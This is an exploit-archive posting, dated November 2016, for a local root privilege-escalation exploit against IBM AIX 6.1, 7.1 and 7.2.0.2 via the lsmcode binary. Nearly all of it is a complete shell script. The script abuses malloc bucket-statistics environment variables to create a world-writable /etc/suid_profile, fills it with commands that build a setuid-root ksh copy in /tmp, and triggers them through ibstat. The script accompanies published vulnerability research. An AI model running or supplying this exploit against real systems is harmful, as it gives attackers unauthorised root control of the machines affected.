AIX 6.1 / 7.1 / 7.2.0.2 lsmcode Local Root
Posted on 05 November 2016
#!/usr/bin/sh # # AIX lsmcode local root exploit. # # Affected: AIX 6.1/7.1/7.2.0.2 # # Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/ # # lqueryroot.sh by @hxmonsegur [2016 //RSL] ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}') if [ ! -x "/usr/sbin/lsmcode" ]; then echo "[-] lsmcode isn't executable. Exploit failed." exit 1 fi echo "[*] [lsmcode] AIX 6.1/7.1/7.2.0.2 Privilege escalation by @hxmonsegur //RSL" echo "[*] Current id: `/usr/bin/id`" echo "[*] Exporting variables" MALLOCOPTIONS=buckets MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile export MALLOCOPTIONS MALLOCBUCKETS echo "[*] Setting umask to 000" umask 000 echo "[*] Executing vulnerable binary [lsmcode]" /usr/sbin/lsmcode -c >/dev/null 2>&1 if [ ! -e "/etc/suid_profile" ]; then echo "[-] /etc/suid_profile does not exist and exploit failed." exit 1 fi echo "[*] Cleaning up /etc/suid_profile" echo > /etc/suid_profile echo "[*] Preparing escalation" cat << EOF >/etc/suid_profile cp /bin/ksh $ROOTSHELL /usr/bin/syscall setreuid 0 0 chown root:system $ROOTSHELL chmod 6755 $ROOTSHELL rm /etc/suid_profile EOF echo "[*] Cleaning up environment variables" unset MALLOCBUCKETS MALLOCOPTIONS echo "[*] Escalating" /usr/bin/ibstat -a >/dev/null 2>&1 if [ ! -e "$ROOTSHELL" ]; then echo "[-] Rootshell does not exist and exploit failed." exit 1 fi echo "[*] Executing rootshell" $ROOTSHELL echo "[*] Make sure to remove $ROOTSHELL"
